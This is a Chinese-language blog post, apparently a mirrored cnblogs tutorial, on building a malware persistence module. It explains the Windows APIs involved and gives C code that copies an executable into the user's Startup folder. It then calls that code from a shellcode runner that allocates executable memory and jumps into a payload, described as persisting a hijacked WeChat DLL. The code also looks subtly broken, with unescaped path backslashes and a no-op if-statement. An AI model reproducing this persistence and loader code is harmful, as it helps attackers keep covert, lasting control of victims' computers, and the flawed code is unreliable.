zoukankan      html  css  js  c++  java
  • 自启动模块构造-快速启动目录

    自启动模块构造-快速启动目录

    涉及的函数

    SHGetSpeciaFolderPathA()

    概述

    检索特殊文件夹的路径,该路径由其CSIDL标识。

    语法:

    c++
    BOOL SHGetSpecialFolderPathA(
      HWND  hwnd,		//窗口所有者的句柄
      LPSTR pszPath,	//返回路径的缓冲区
      int   csidl,		//系统路径的CSIDL,在新的windows开发中csidl已经被弃用,改用KNOWNFOLDERID。
      BOOL  fCreate		//文件夹不存在是否要创建
    );
    

    wsprintfA()

    https://docs.microsoft.com/en-us/windows/win32/api/winuser/nf-winuser-wsprintfa

    概述

    将格式化的数据写入指定的缓冲区。根据格式字符串中相应的格式说明,将转换任何参数并将其复制到输出缓冲区。该函数在其写入的字符后附加一个终止空字符,但返回值的字符计数中不包含终止空字符。 (没看太懂这个函数)

    语法:

    c++
    int WINAPIV wsprintfA(
      LPSTR  ,			//接收格式化输出的缓冲区
      LPCSTR ,
      ...    
    );
    

    CopyFile()

    https://docs.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-copyfile

    概述

    将现有文件复制到新文件。

    语法:

    c++
    BOOL CopyFile(
      LPCTSTR lpExistingFileName,	//现有文件的名称。
      LPCTSTR lpNewFileName,		//新文件的名称。
      BOOL    bFailIfExists			//False
    );
    

    自写源码

    如有显示什么字符不兼容,请百度解决错误,该错误是因为vs设置不同导致的。

    /*
    c 快速启动目录自启
    */
    BOOL dir_reboot(char *lpszSrcFilePath, char *lpszDestFileName) {
        BOOL bRet = FALSE;
        char szStartupPath[MAX_PATH] = { 0 };
        char szDestFilePath[MAX_PATH] = { 0 };
        //获取快速启动目录的路径
        bRet = SHGetSpecialFolderPathA(NULL, szStartupPath, CSIDL_STARTUP, TRUE);
        //构造复制的目的地文件路径
        wsprintf(szDestFilePath, "%s\%s", szStartupPath, lpszDestFileName);
        //复制文件到快速启动目录下
        bRet = CopyFile(lpszSrcFilePath, szDestFilePath, FALSE);
        
        return TRUE;
    }
    

    然后在DWORD WINAPI jmp_shellcode(LPVOID pPara){....}进行调用

    把C:\Users\test\Desktop\1\WeChat.exe写入开始启动菜单中,这样就等于对wechatwin.dll做了持久化
    DWORD WINAPI jmp_shellcode(LPVOID pPara)
    {
        if (FALSE == dir_reboot("C:\Users\test\Desktop\1\WeChat.exe", "WeChat.exe"));
        void* exec = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    	memcpy(exec, shellcode, sizeof shellcode);
    	((void(*)())exec)();
    	return 0;
    }
    
  • 相关阅读:
    python 学习笔记 数值型(1)
    python 学习笔记 标识符和变量(3)
    python 学习笔记 字符串(2)
    jsp+servlet+javaBean+Dao
    面试被问到岗时间,是越快越好吗?
    有赞多平台推广接入与测试
    HTTPS 加密、证书、签名与握手
    开发到底要不要自己做测试?
    我也曾找不到工作
    世界第三大浏览器正在消亡
  • 原文地址:https://www.cnblogs.com/Secde0/p/14186894.html
Copyright © 2011-2022 走看看